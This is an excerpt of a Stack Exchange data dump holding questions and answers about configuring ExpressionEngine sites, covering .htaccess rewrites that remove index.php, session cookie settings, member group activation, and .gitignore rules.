  <row Id="538" PostTypeId="2" ParentId="388" CreationDate="2012-11-27T20:40:59.777" Score="3" Body="&lt;p&gt;Using the &quot;Notepad&quot; in the sidebar works as a lo-fi solution too. I also use &quot;Quick Links&quot; to link to training videos I record for the client. You can keep them there too.&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2012-11-27T20:40:59.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="539" PostTypeId="2" ParentId="450" CreationDate="2012-11-27T20:42:39.950" Score="4" Body="&lt;p&gt;I'll second tidy's vote for the Focus Labs EE Master config. We are using it in a multi server deployment set up and it's awesome. Saves lots of time and I no longer worry about code deploying out with the wrong environment configs.&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2012-11-27T20:42:39.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="540" PostTypeId="2" ParentId="387" CreationDate="2012-11-27T20:50:26.913" Score="2" Body="&lt;p&gt;This is more for once you have Git set up and going, but this article really helped me build out a workable development and deployment workflow using branching. &lt;a href=&quot;http://nvie.com/posts/a-successful-git-branching-model/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://nvie.com/posts/a-successful-git-branching-model/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here are some other resources that helped me get GIT set up that I don't think have been mentioned yet&lt;/p&gt;&#xA;&lt;h3&gt;Resources&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Devot:ee&lt;/strong&gt;: &lt;a href=&quot;http://devot-ee.com/articles/item/version-control-for-expressionengine-using-git-part-1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Version Control for ExpressionEngine Using Git&lt;/a&gt; (Part 1)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="384" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2012-11-27T20:59:42.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="541" PostTypeId="1" AcceptedAnswerId="549" CreationDate="2012-11-27T20:55:37.837" Score="6" ViewCount="307" Body="&lt;p&gt;What's the general consensus regarding the renaming of the system directory if it resides above root? I was recently updating my default EE install to initially start with the directory above root and thought that it was overkill. It seems to me that if someone discovers the system directory when it's above root you have much bigger problems to worry about. Is renaming the system directory overkill or should I rename both the admin.php file AND the system directory?&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2012-11-27T21:06:25.307" Title="Renaming system directory if directory is outside root?" Tags="|config|system|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="542" PostTypeId="1" AcceptedAnswerId="544" CreationDate="2012-11-27T20:58:28.960" Score="3" ViewCount="29949" Body="&lt;p&gt;How can I remove index.php from my URLs? Please provide rationale for why the specific method should be used.&lt;/p&gt;&#xA;" OwnerUserId="349" LastEditorUserId="150" LastEditDate="2012-11-28T11:06:39.703" LastActivityDate="2017-04-12T20:26:26.510" Title="How do I remove index.php from my URLs?" Tags="|htaccess|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="543" PostTypeId="2" ParentId="525" CreationDate="2012-11-27T20:59:44.090" Score="2" Body="&lt;p&gt;Your best bet is to construct your own data tables - see the &lt;a href=&quot;http://www.datatables.net/usage/features&quot; rel=&quot;nofollow&quot;&gt;DataTables site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used DataTables to make multiple tables on a page - for example, my HooKan module has nine large tables on a page. Once you have had a look at how DataTables works, come back if you have any problems implementing &lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2012-11-27T20:59:44.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="544" PostTypeId="2" ParentId="542" CreationDate="2012-11-27T21:00:55.207" Score="14" Body="&lt;p&gt;I use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/remove_index.php.html&quot;&gt;officially supported method&lt;/a&gt;. Why? because it's officially supported and I haven't had any problems using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add the following to your .htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-27T21:00:55.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="545" PostTypeId="2" ParentId="387" CreationDate="2012-11-27T21:01:10.930" Score="1" Body="&lt;p&gt;Guess I don't have enough rep yet to post more than 2 links per post so here are another 2 links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Experience Internet&lt;/strong&gt;: &lt;a href=&quot;http://experienceinternet.co.uk/blog/using-git-with-expressionengine-part-1/&quot; rel=&quot;nofollow&quot;&gt;Using Git to Manage an ExpressionEngine website&lt;/a&gt; (Part 1)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;EE Forums&lt;/strong&gt;: &lt;a href=&quot;http://expressionengine.com/archived_forums/viewthread/118990/&quot; rel=&quot;nofollow&quot;&gt;Using git to Manage an ExpressionEngine website&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="384" LastActivityDate="2012-11-27T21:01:10.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="546" PostTypeId="1" CreationDate="2012-11-27T21:03:58.303" Score="2" ViewCount="319" Body="&lt;p&gt;I have a site in which each member group has (of course) a different set of viewing and posting privileges. It is also set up to place new membership requests into Pending, until manually activated by the site admin -- at which time the applicant receives an email informing them that their account is active, and the member's account moves from Pending to the default group, Member_group_X. All this is, of course, completely normal EE out-of-the-box behaviour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have not found, either natively or via an add-on, is a way to assign a new account to a different (non-default) member group &lt;em&gt;at the time that it is manually activated by the admin&lt;/em&gt;. Not having this ability risks letting the newly-activated member log-in before the admin has had a chance to move them to the correct member group, thereby exposing information that should be hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a way of combining the 'Activate Pending members' process with the 'moving a member to a different group' process?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2012-11-28T15:06:37.817" Title="Assigning member group at same time as activating Pending member" Tags="|ee2|control-panel|members|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="547" PostTypeId="2" ParentId="541" CreationDate="2012-11-27T21:04:46.040" Score="2" Body="&lt;p&gt;It doesn't hurt to do both and takes literally five minutes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you started out like probably most people with the system directory below root, you probably already have an alternate name convention. Rather stick to it.&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-11-27T21:04:46.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="548" PostTypeId="2" ParentId="541" CreationDate="2012-11-27T21:06:22.280" Score="0" Body="&lt;p&gt;Renaming the &lt;strong&gt;system&lt;/strong&gt; directory if it's located above your web root makes absolutely no difference in terms of security or anything else. If someone gains access to your server above web root, you're pooched regardless.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-11-27T21:06:22.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="549" PostTypeId="2" ParentId="541" CreationDate="2012-11-27T21:06:25.307" Score="7" Body="&lt;p&gt;We setup a folder called &quot;private_ee&quot; (to compliment &quot;public_html&quot;) above the web root which contains directories for snippets, system, templates, and third_party. As you said, if someone gets access above the web root, you've got bigger problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, there's no need to rename it for security's sake; the security advantage you obtain is gained by moving it above the web root, not by obscuring the path.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-11-27T21:06:25.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="550" PostTypeId="2" ParentId="507" CreationDate="2012-11-27T21:07:44.290" Score="3" Body="&lt;p&gt;I had the same problem in another context, so I don't know if this will help. I had the problem using safecracker with its own JS loader. The only thing that worked for me was to load my own js (in this case jquery) and set the safecracker parameter to &quot;no&quot; to stop it loading its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, I lament the lack of a unified approach to integrating common scripts like jquery and Requirejsj. Most of my sites end up with multiple copies spread about the place between EE code, add-on codes and my own code. There must be a better way.&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="114" LastEditDate="2012-11-27T21:14:46.120" LastActivityDate="2012-11-27T21:14:46.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="551" PostTypeId="2" ParentId="546" CreationDate="2012-11-27T21:11:10.360" Score="3" Body="&lt;p&gt;You can always edit the member directly, click on Member Preferences in the left hand menu and change them from Pending to whatever member group they should belong to. (Instead of following the usual Activate Members admin routine.)&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-11-27T21:11:10.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="552" PostTypeId="2" ParentId="442" CreationDate="2012-11-27T21:12:09.877" Score="2" Body="&lt;p&gt;I use the following code within the config.php file that is located at /system/expressionengine/config/config.php.&lt;br&gt;&#xA;And you have to set &quot;cookies&quot; in your security preferences.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Cookie Settings&#xA;$config['cookie_prefix'] = &quot;&quot;;&#xA;$config['cookie_domain'] = '.yourdomain.com';&#xA;$config['admin_session_type'] = 'c'; // if c does not work try 's' (session)&#xA;&#xA;// logout time controlling: it's best to set only cookies in security prefs&#xA;// be sure to set cookies domain as well&#xA;$config['user_session_ttl'] = 14400; // user session&#xA;$config['cp_session_ttl'] = 14400;  // control panel session&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works quite well!&#xA;Cheers&#xA;outline4&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2012-11-27T21:12:09.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="553" PostTypeId="2" ParentId="546" CreationDate="2012-11-27T21:13:45.380" Score="0" Body="&lt;p&gt;Unfortunately, your only hope here was the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/members/index.html#cp-members-validate-members&quot; rel=&quot;nofollow&quot;&gt;cp_members_validate_members&lt;/a&gt; extension hook. But alas, it gives you no access to the information you might need about which members were just validated.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-11-27T21:13:45.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="554" PostTypeId="2" ParentId="542" CreationDate="2012-11-27T21:13:45.723" Score="2" Body="&lt;p&gt;The standard method cited in the docs doesn't work in all hosting environment. This rule is specific to MediaTemple (dv) accounts, but may work elsewhere also. I host quite a few sites with them &amp;amp; this works everytime. Note the &lt;code&gt;?&lt;/code&gt; in the last rewrite rule&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## BEGIN ExpressionEngine Rewrite&#xA;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&#xA;## END ExpressionEngine Rewrite&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why? Because it simple and works every time.&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="28" LastEditDate="2012-12-16T06:12:39.080" LastActivityDate="2012-12-16T06:12:39.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="555" PostTypeId="2" ParentId="442" CreationDate="2012-11-27T21:16:57.973" Score="2" Body="&lt;p&gt;I'd prefer to just up vote MediaGirl's comment, but since I don't have enought rep yet to do that I'll just say that we did the two things recommended here: 1) switch to cookies only and 2) up the cp_session_ttl and that seems to have worked best for us. Probably didn't need to set both, but it worked regardless.&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2012-11-27T21:16:57.973" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="556" PostTypeId="2" ParentId="542" CreationDate="2012-11-27T21:18:01.183" Score="1" Body="&lt;p&gt;Like CreateSean, I also use the officially supported method — and for the same reasons. I’ve seen plenty of support requests in the EE Forums where the poster has been using some other method of removing index.php and quite often the first thing that the person trying to help says is “disable your ‘Remove index.php’ code and see if the problem persists”. To be fair, they also sometimes say that if you're using the official method, but I think not so much, since it's more tried and tested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary then: it’s official, it works, and you might have slightly less code unpicking to do if you ever have a problem.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2012-11-27T21:18:01.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="557" PostTypeId="1" AcceptedAnswerId="558" CreationDate="2012-11-27T21:24:24.600" Score="2" ViewCount="86" Body="&lt;p&gt;I'm running into this strange issue I've never seen before. I have a template that starts with an underscore, I'm using it to pull in some results via ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After upgrading to 2.5.3 and only on my local machine, I'm getting a 404 response when I try to access the template. Going to view the file in Template Manager, it seems like now every template that's starting with an underscore is grayed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what's going on here?&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2012-11-27T21:25:31.110" Title="404 error when trying to access a template with an beginning underscore _ after upgrading to 2.5.3" Tags="|templates|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="558" PostTypeId="2" ParentId="557" CreationDate="2012-11-27T21:25:31.110" Score="6" Body="&lt;p&gt;Do you have &lt;code&gt;$conf['hidden_template_indicator'] = '_';&lt;/code&gt; set? This could be causing the issue&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-11-27T21:25:31.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="559" PostTypeId="1" AcceptedAnswerId="629" CreationDate="2012-11-27T21:27:29.950" Score="7" ViewCount="1437" Body="&lt;p&gt;I've had a similar question up on Stack Overflow, but now that we've got this shiny new site, I figured I might as well bring it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With EE 2, is it possible to remove anything other than index.php from the URLs via .htaccess rewrites? I am thinking of, for example, a non-default template group or part of a Page URI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both these things could be done in EE 1 but no longer work for me in EE 2. I have tested my rewrites using &lt;a href=&quot;http://htaccess.madewithlove.be/&quot; rel=&quot;nofollow&quot;&gt;http://htaccess.madewithlove.be/&lt;/a&gt;  and as far as I can tell, they do result in the correct URLs. However, attempts to access the pages lands me on my default page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My original setup was this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^/?((403|404|About|Chat|Contact|Copyright|Search)(/.*)?)$ /Westeros/$1 [L]&#xA;RewriteRule ^/?((ASoIaF|Digest|Images|Login|Store|Updates|Westeros|member)(/.*)?)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^/?((403|404|About|Chat|Contact|Copyright|Search)(/.*)?)$ /index.php/Westeros/$1 [L]&#xA;RewriteRule ^/?((ASoIaF|Digest|Images|Login|Store|Updates|member)(/.*)?)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a couple of different things going on and some work and some don't, in both of these scenarios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) domain.com/Updates/ works fine. Updates is a template group. So, no problems with just removing index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) domain.com/Search/ does not work. Search is a template within the Westeros template group. It does work to access it as domain.com/index.php/Westeros/Search/. The reason for this rewrite is that I wanted to avoid creating several single-template template groups to handle things like Search, Contact, etc. At the same time, its important that these segments come right after the domain given the overall structure of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) domain.com/About/ does not work. About is a Page with its URI set to /Westeros/About/. It does work to access it as domain.com/index.php/Westeros/About/. Again, I need these Pages to display right after the domain to fit into the overall structure of the site, but since I am running multiple sites using the old method (multiple index.php files) rather than MSM, I cannot simply make the URI /About/ for the Page since I have an /About/ Page for each site/subsite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case .htaccess can't be used for this any longer in EE 2, are there any other options available for these sort of behind-the-scenes URL changes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited to add: I have now received a support answer from EE on this matter and even though removing the template group is unsupported, they pointed to a config option that has restored the EE 1 behaviour for me. This is the URI Protocol option in config.php; default in EE 2 is &quot;auto&quot; but if I set it to &quot;path_info&quot; instead, the rewrites work as they did in EE 1.&lt;/p&gt;&#xA;" OwnerUserId="352" LastEditorUserId="352" LastEditDate="2012-12-05T14:36:11.140" LastActivityDate="2012-12-05T14:36:11.140" Title="Removing part of EE urls with .htaccess or via other methods?" Tags="|url|htaccess|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="560" PostTypeId="2" ParentId="546" CreationDate="2012-11-27T21:28:50.630" Score="5" Body="&lt;p&gt;I'm pretty sure that the &lt;a href=&quot;http://www.solspace.com/software/detail/user/&quot; rel=&quot;nofollow&quot;&gt;Solspace User Module&lt;/a&gt; allows you to assign a specific 'on activation' member group for new registrations created through the modules front end tags. When approved the user is then automatically moved to the relevant group.&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="27" LastEditDate="2012-11-28T15:06:37.817" LastActivityDate="2012-11-28T15:06:37.817" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="561" PostTypeId="2" ParentId="293" CreationDate="2012-11-27T21:32:21.023" Score="3" Body="&lt;p&gt;If you use &lt;a href=&quot;http://eeinsider.com/articles/multi-language-solutions-for-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;this method&lt;/a&gt; then I have the perfect solution. the missing piece I was looking for so long! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact you have to find a way on how to trigger a) language related messages from add-ons, and b) language related messages AND emails from expressionengine itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can do that by adding two variables within the index.php file, just before &quot;END OF USER CONFIGURABLE SETTINGS&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// $assign_to_config['language'] = 'deutsch';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(attention, when activating this, you have to translate all of your add-ons, or at least, duplicate the language folders. )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// overrides the default language for expressionengine (use the name of the language folder)&#xA;$assign_to_config['deft_lang'] = 'deutsch';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is much more important and will set the language of system messages and emails!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(for multilanguage emails you have to go to: &quot;design -&gt; message pages -&gt; email notifications&quot; and de-check the checkbox for each template: &quot;&lt;em&gt;Enable This Template? If disabled, this template will not be used. Instead, the message will be generated dynamically in each user's chosen language&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;good luck! &#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2012-11-27T21:32:21.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="562" PostTypeId="2" ParentId="542" CreationDate="2012-11-27T21:32:57.627" Score="4" Body="&lt;p&gt;I've created a &lt;a href=&quot;https://gist.github.com/1093894&quot; rel=&quot;nofollow&quot;&gt;new method&lt;/a&gt; that works well on all hosts I have tried it on, and allows the use of regular query/GET parameters in URLs (unlike the built in QUERY_STRING protocol).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method is needed on some hosts where the other methods are not available (such as where PATH_INFO is not set properly by the server configuration).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I call this method protocol &quot;QUERY_PARAM&quot; since it uses a single query parameter named QSTR  to pass the requested page URI into the index.php script, rather than replacing the entire query string. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the changes you'd need to make to use this method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.htaccess&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#### Do our rewrites&#xA;&#xA;# Don't rewrite requests for real files or directories&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;&#xA;# Match the entire query string value, this gets put into %1&#xA;RewriteCond %{QUERY_STRING} ^(.*)$&#xA;&#xA;# Create a new redirect that packs the requested URI into QSTR and preserves the existing query string&#xA;RewriteRule ^(.*)$ index.php?QSTR=$1&amp;amp;%1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;config/config.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the new URI protocol that we're about to create.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['uri_protocol'] = 'QUERY_PARAM';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;manager/codeigniter/system/core/URI.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find this block, and insert the // IRAWAY // section as shown:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($uri == 'REQUEST_URI')&#xA;{&#xA;        $this-&amp;gt;uri_string = $this-&amp;gt;_parse_request_uri();&#xA;        return;&#xA;}&#xA;&#xA;// IRAWAY: add query param support&#xA;if ($uri == 'QUERY_PARAM' &amp;amp;&amp;amp; isset($_GET['QSTR']))&#xA;{&#xA;        $this-&amp;gt;uri_string = $_GET['QSTR'];&#xA;        return;&#xA;}&#xA;// END IRAWAY&#xA;&#xA;$this-&amp;gt;uri_string = (isset($_SERVER[$uri])) ? $_SERVER[$uri] : @getenv($uri);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are a few other notes &lt;a href=&quot;https://gist.github.com/1093894&quot; rel=&quot;nofollow&quot;&gt;on the gist&lt;/a&gt; where I originally posted this.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2012-11-27T21:32:57.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="563" PostTypeId="1" AcceptedAnswerId="611" CreationDate="2012-11-27T21:39:50.170" Score="11" ViewCount="1812" Body="&lt;p&gt;I'd like to keep my git repo as clean as possible without cache files and content image files. Also I'd like to preserve the ExpressionEngine images directory structure. What are you gitignore directives to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="349" LastEditorUserId="16" LastEditDate="2012-11-28T22:47:12.850" LastActivityDate="2012-12-02T21:22:56.970" Title="What do you put in your .gitignore for ExpressionEngine sites?" Tags="|git|repo|.gitignore|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="564" PostTypeId="2" ParentId="515" CreationDate="2012-11-27T21:41:35.030" Score="4" Body="&lt;p&gt;In addition to foamcow answer (which is exactly how I do it). Here's some extra fruity code. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a date to the file name.&lt;/li&gt;&#xA;&lt;li&gt;IE can cause problems.&lt;/li&gt;&#xA;&lt;li&gt;As it's just HTML, use the segment as a 'switch' to output as a page or download file. Handy when building your export.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&gt;    $date = date('Y-m-d_G-i');&#xA;&gt;    $export=$IN-&gt;fetch_uri_segment('3');&#xA;&gt;       &#xA;&gt;   if($export)&#xA;&gt;   {       &#xA;&gt;       if (strstr($_SERVER['HTTP_USER_AGENT'], &quot;MSIE&quot;))&#xA;&gt;       {&#xA;&gt;           header('Content-Type: application/octet-stream');&#xA;&gt;           header('Content-Disposition: inline; filename=&quot;custom_name_'.$date.'.xls&quot;');&#xA;&gt;           header('Expires: 0');&#xA;&gt;           header('Cache-Control: must-revalidate, post-check=0, pre-check=0');&#xA;&gt;           header('Pragma: public');&#xA;&gt;       } &#xA;&gt;       else &#xA;&gt;       {&#xA;&gt;           header('Content-Type: application/octet-stream');&#xA;&gt;           header('Content-Disposition: attachment; filename=&quot;custom_name_'.$date.'.xls&quot;');&#xA;&gt;           header('Expires: 0');&#xA;&gt;           header('Pragma: no-cache');&#xA;&gt;       }&#xA;&gt;   }&#xA;&gt;?&gt;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="351" LastEditorUserId="351" LastEditDate="2012-11-27T21:47:17.163" LastActivityDate="2012-11-27T21:47:17.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="565" PostTypeId="1" AcceptedAnswerId="573" CreationDate="2012-11-27T21:44:34.520" Score="6" ViewCount="315" Body="&lt;p&gt;This has been a continuous issue with ExpressionEngine - admins having to clear their cookies to login to the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even when typing in the correct username and password, the user is return back to the control panel login page with no error message. How do you prevent this?&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-11-27T23:43:10.320" Title="How do you prevent admins from being locked out of the control panel even with correct password?" Tags="|control-panel|login|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="566" PostTypeId="2" ParentId="388" CreationDate="2012-11-27T21:50:04.303" Score="3" Body="&lt;p&gt;We didn't find any commercial products to achieve this, so we've created a simple internal web application to manage all the website information of a client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically we can manage domains and IP info, hosting details, db details, email accounts and also the related licenses (EE+addons) plus the photos licenses, if there are any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of these information are stored with dates expire so we have alerts for any renewal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And we can easily searching and filtering for the data we need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty a hard job of archiving when you set up a website but it worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our tools are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;basecamp - for collaborate&lt;/li&gt;&#xA;&lt;li&gt;freeagent - to manage client detail, quote and invoices&lt;/li&gt;&#xA;&lt;li&gt;our &quot;GestDomain&quot; - to manage any related info to the websites&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Usually we don't ask to client to buy themselves license because they don't have time or they don't know how to do that....&#xA;And we'll spend a lot of time to teach them how to do it.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2012-11-27T21:50:04.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="567" PostTypeId="2" ParentId="563" CreationDate="2012-11-27T21:51:23.327" Score="4" Body="&lt;pre&gt;&lt;code&gt;*.DS_Store&#xA;.gitignore&#xA;.htaccess&#xA;.ftpquota&#xA;&#xA;/expressionengine/cache/*&#xA;/assets/cache/*&#xA;/uploads/avatars/*&#xA;/uploads/member_photos/*&#xA;/uploads/pm_attachments/*&#xA;/uploads/signature_attachments/*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The path to some of your folders will obviously be different.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-11-27T21:51:23.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="568" PostTypeId="1" AcceptedAnswerId="570" CreationDate="2012-11-27T21:54:53.313" Score="2" ViewCount="84" Body="&lt;p&gt;For some reason my Channel Entries tags aren't recognizing the passed parameters consistently. For example, the below works on the home page but not on any internal pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;files&quot; entry_id=&quot;12&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="169" LastActivityDate="2012-11-27T21:56:13.327" Title="Channel Entries tag not recognizing passed params" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="569" PostTypeId="1" AcceptedAnswerId="577" CreationDate="2012-11-27T21:56:05.417" Score="4" ViewCount="586" Body="&lt;p&gt;For version control purposes, it's better to store snippets as files. What add-on or method would you recommend?&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2013-12-30T12:59:36.053" Title="What add-on/method do you use to create snippets as files?" Tags="|snippets|" AnswerCount="5" CommentCount="2" ClosedDate="2012-11-29T14:31:53.210" ContentLicense="CC BY-SA 3.0" />
